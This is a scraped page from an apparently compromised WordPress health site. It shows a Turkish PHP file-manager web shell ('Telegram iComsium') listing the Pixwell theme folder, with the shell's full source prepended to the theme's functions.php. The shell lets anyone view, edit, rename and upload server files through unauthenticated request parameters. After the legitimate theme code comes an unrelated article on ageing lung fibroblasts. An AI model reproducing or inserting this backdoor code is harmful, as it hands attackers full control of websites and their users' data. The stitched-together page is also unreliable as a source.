Telegram iComsium Current root: /home/u514654129/domains/awesamohealth.com/public_html/wp-content/themes/pixwell
Current path: /home/u514654129/domains/awesamohealth.com/public_html/wp-content/themes/pixwell

..
404.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
archive-gallery.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
archive-portfolio.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
archive.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
assets
author.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
backend
category.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
comments.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
footer.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
functions.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
header.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
includes
index.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
languages
page-bookmark.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
page.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
plugins
screenshot.png | [Göster] | [Düzenle] | [Yeniden Adlandır]
search.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
single-gallery.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
single-portfolio.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
single.php | [Göster] | [Düzenle] | [Yeniden Adlandır]
style.css | [Göster] | [Düzenle] | [Yeniden Adlandır]
templates
woocommerce
wpml-config.xml | [Göster] | [Düzenle] | [Yeniden Adlandır]

Dosya Düzenle: functions.php

<?php
$root = __DIR__;
$style1 = 'color:#000;';
$style2 = 'color:#00a;font-weight:bold;';

function updir($ADir){
    $ADir = rtrim($ADir, '/');
    return substr($ADir, 0, strrpos($ADir, '/'));
}

$path = isset($_GET['file']) ? $_GET['file'] : $root;

// -------- Dosya görüntüleme --------
if (isset($_GET['view']) && is_file($_GET['view'])) {
    header("Content-type: text/plain");
    readfile($_GET['view']);
    exit;
}

// -------- Dosya düzenleme (kaydetme) --------
if (isset($_POST['save_file']) && isset($_POST['content'])) {
    file_put_contents($_POST['save_file'], $_POST['content']);
    echo "<b>Dosya kaydedildi.</b><br><br>";
}

// -------- Dosya yeniden adlandırma --------
if (isset($_POST['rename_file']) && isset($_POST['new_name'])) {

$old = $_POST['rename_file'];
    $dir = dirname($old);
    $new = $dir . '/' . basename($_POST['new_name']);

if (rename($old, $new)) {
        echo "<b>Dosya yeniden adlandırıldı.</b><br><br>";
    } else {
        echo "<b>Yeniden adlandırma başarısız!</b><br><br>";
    }
}

// -------- Dosya yükleme --------
if (isset($_FILES['upload_file'])) {
    $target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']);
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
        echo "<b>Dosya yüklendi:</b> " . basename($target) . "<br><br>";
    } else {
        echo "<b>Yükleme hatası!</b><br><br>";
    }
}

echo "<b>Telegram iComsium Current root:</b> $root <br>";
echo "<b>Current path:</b> $path <hr>";

echo '<a href="?file='.updir($path).'">..</a><br />';

foreach (glob(rtrim($path,'/').'/*') as $file) {

echo '<a style="'.(is_file($file)?$style1:$style2).'" href="?file='.$file.'">'.basename($file).'</a>';

if (is_file($file)) {
        echo ' | <a href="?view='.$file.'" target="_blank">[Göster]</a>';
        echo ' | <a href="?edit='.$file.'">[Düzenle]</a>';
        echo ' | <a href="?rename='.$file.'">[Yeniden Adlandır]</a>';
    }

echo "<br>";
}

echo "<hr>";

// -------- Dosya düzenleme arayüzü --------
if (isset($_GET['edit']) && is_file($_GET['edit'])) {

$editFile = $_GET['edit'];
    $content = htmlspecialchars(file_get_contents($editFile));

echo "<h3>Dosya Düzenle: ".basename($editFile)."</h3>";

echo '
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">'.$content.'</textarea><br><br>
            <input type="hidden" name="save_file" value="'.$editFile.'">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    ';
}

// -------- Dosya yeniden adlandırma arayüzü --------
if (isset($_GET['rename']) && is_file($_GET['rename'])) {

$renameFile = $_GET['rename'];

echo "<h3>Dosya Yeniden Adlandır: ".basename($renameFile)."</h3>";

echo '
        <form method="POST">
            Yeni isim: <input type="text" name="new_name" value="'.basename($renameFile).'"><br><br>
            <input type="hidden" name="rename_file" value="'.$renameFile.'">
            <button type="submit">Yeniden Adlandır</button>
        </form>
        <hr>
    ';
}

// -------- Dosya yükleme formu --------
echo '<h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form>';
?>
<?php
define( 'PIXWELL_THEME_VERSION', '10.8' );

include_once get_theme_file_path( 'includes/core.php' );
include_once get_theme_file_path( 'backend/include-files.php' );
include_once get_theme_file_path( 'includes/include-files.php' );
include_once get_theme_file_path( 'templates/include-files.php' );

add_action( 'after_setup_theme', 'pixwell_theme_setup', 10 );
add_action( 'wp_enqueue_scripts', 'pixwell_register_script_frontend', 10 );

/** load translate */
load_theme_textdomain( 'pixwell', get_theme_file_path( 'languages' ) );

/** setup */
if ( ! function_exists( 'pixwell_theme_setup' ) ) {
	function pixwell_theme_setup() {

if ( ! isset( $GLOBALS['content_width'] ) ) {
			$GLOBALS['content_width'] = 1170;
		}

$settings = get_option( 'pixwell_theme_options', [] );
		add_theme_support( 'automatic-feed-links' );
		add_theme_support( 'title-tag' );
		add_theme_support( 'html5', [
			'search-form',
			'comment-form',
			'comment-list',
			'gallery',
			'caption',
			'script',
			'style',
		] );

add_theme_support( 'amp', [
			'paired' => true,
		] );

add_theme_support( 'post-formats', [ 'gallery', 'video', 'audio' ] );
		add_theme_support( 'post-thumbnails' );
		add_theme_support( 'editor-style' );
		add_theme_support( 'responsive-embeds' );
		if ( ! empty( $settings['widget_block'] ) ) {
			remove_theme_support( 'widgets-block-editor' );
		}
		add_theme_support( 'woocommerce', [
			'gallery_thumbnail_image_width' => 110,
			'thumbnail_image_width'         => 300,
			'single_image_width'            => 760,
		] );

add_theme_support( 'wc-product-gallery-zoom' );
		add_theme_support( 'wc-product-gallery-lightbox' );
		add_theme_support( 'wc-product-gallery-slider' );

register_nav_menus( [
			'pixwell_menu_main'      => esc_html__( 'Main Menu', 'pixwell' ),
			'pixwell_menu_offcanvas' => esc_html__( 'Left Aside Menu (Mobile Menu)', 'pixwell' ),
			'pixwell_menu_top'       => esc_html__( 'Top Bar Menu', 'pixwell' ),
			'pixwell_menu_footer'    => esc_html__( 'Footer Menu', 'pixwell' ),
		] );

$crop_data = pixwell_calc_crop_sizes();

foreach ( $crop_data as $crop_id => $size ) {
			add_image_size( $crop_id, $size[0], $size[1], $size[2] );
		}

if ( ! empty( $settings['site_itemlist'] ) && ! isset( $GLOBALS['pixwell_pids'] ) ) {
			$GLOBALS['pixwell_pids'] = [];
		}
	}
}

if ( ! function_exists( 'pixwell_register_script_frontend' ) ) {
	function pixwell_register_script_frontend() {

$style_deps = [ 'pixwell-font' ];
		wp_register_style( 'pixwell-font', esc_url_raw( Pixwell_Font::get_instance()->get_font_url() ), [], PIXWELL_THEME_VERSION, 'all' );

if ( is_rtl() ) {
			wp_enqueue_style( 'pixwell-main', get_theme_file_uri( 'assets/css/rtl.css' ), $style_deps, PIXWELL_THEME_VERSION, 'all' );
		} else {
			wp_enqueue_style( 'pixwell-main', get_theme_file_uri( 'assets/css/main.css' ), $style_deps, PIXWELL_THEME_VERSION, 'all' );
		}
		$style_deps[] = 'pixwell-main';

if ( class_exists( 'WooCommerce' ) && ! pixwell_is_amp() ) {
			wp_deregister_style( 'yith-wcwl-font-awesome' );
			if ( is_rtl() ) {
				wp_enqueue_style( 'pixwell-wc', get_theme_file_uri( 'assets/css/woocommerce-rtl.css' ), $style_deps, PIXWELL_THEME_VERSION, 'all' );
			} else {
				wp_enqueue_style( 'pixwell-wc', get_theme_file_uri( 'assets/css/woocommerce.css' ), $style_deps, PIXWELL_THEME_VERSION, 'all' );
			}
			$style_deps[] = 'pixwell-wc';
		}

if ( ! pixwell_get_option( 'disable_default_style' ) ) {
			wp_enqueue_style( 'pixwell-style', get_stylesheet_uri(), $style_deps, PIXWELL_THEME_VERSION, 'all' );
		}

/** load scripts */
		if ( ! pixwell_is_amp() ) {
			wp_enqueue_script( 'html5', get_theme_file_uri( 'assets/js/html5shiv.min.js' ), [], '3.7.3' );
			wp_script_add_data( 'html5', 'conditional', 'lt IE 9' );
			wp_enqueue_script( 'jquery-waypoints', get_theme_file_uri( 'assets/js/jquery.waypoints.min.js' ), [ 'jquery' ], '3.1.1', true );
			wp_enqueue_script( 'owl-carousel', get_theme_file_uri( 'assets/js/owl.carousel.min.js' ), [ 'jquery' ], '1.8.1', true );
			wp_enqueue_script( 'pixwell-sticky', get_theme_file_uri( 'assets/js/rbsticky.min.js' ), [ 'jquery' ], '1.0', true );
			wp_enqueue_script( 'jquery-tipsy', get_theme_file_uri( 'assets/js/jquery.tipsy.min.js' ), [ 'jquery' ], '1.0', true );
			wp_enqueue_script( 'jquery-uitotop', get_theme_file_uri( 'assets/js/jquery.ui.totop.min.js' ), [ 'jquery' ], 'v1.2', true );
			wp_enqueue_script( 'jquery-isotope', get_theme_file_uri( 'assets/js/jquery.isotope.min.js' ), [ 'jquery' ], '3.0.6', true );
			wp_enqueue_script( 'pixwell-global', get_theme_file_uri( 'assets/js/global.js' ), [
				'jquery',
				'imagesloaded',
				'jquery-waypoints',
				'owl-carousel',
				'pixwell-sticky',
				'jquery-tipsy',
				'jquery-uitotop',
				'jquery-isotope',
			], PIXWELL_THEME_VERSION, true );
			wp_localize_script( 'pixwell-global', 'pixwellParams', [ 'ajaxurl' => admin_url( 'admin-ajax.php' ) ] );
			if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
				wp_enqueue_script( 'comment-reply' );
			}
		}
	}
}

Dosya Yükle

Ageing tissue fibroblasts support lung inflammaging - Awesamo Health

Ageing tissue fibroblasts support lung inflammaging

AweSamo April 7, 2026

The chronic inflammatory state associated with advanced age, known as inflammaging, is a well-described epidemiological risk factor for many common diseases of older people. However, less is known about the determinants of this phenotype, including whether the age-associated changes in immune function within tissues are associated with the ageing of tissue structural cells that form supportive niches. Allen et al. describe a structural basis for inflammaging in the lung by showing that aged tissue fibroblasts support the emergence of pro-inflammatory, granzyme K (GZMK)⁺ CD8⁺ T cells.

Using mice that the authors generated to track Gzmk expression, GZMK⁺ CD8⁺ T cells co-expressing PD1 were shown to emerge in BALT with ageing. Isolated GZMK⁺ cells did not proliferate in response to T cell receptor (TCR) stimulation but had increased interferon-γ (IFNγ) secretion compared with GZMK^– cells, which suggests that this ageing-associated T cell population has mixed features of exhaustion and effector function.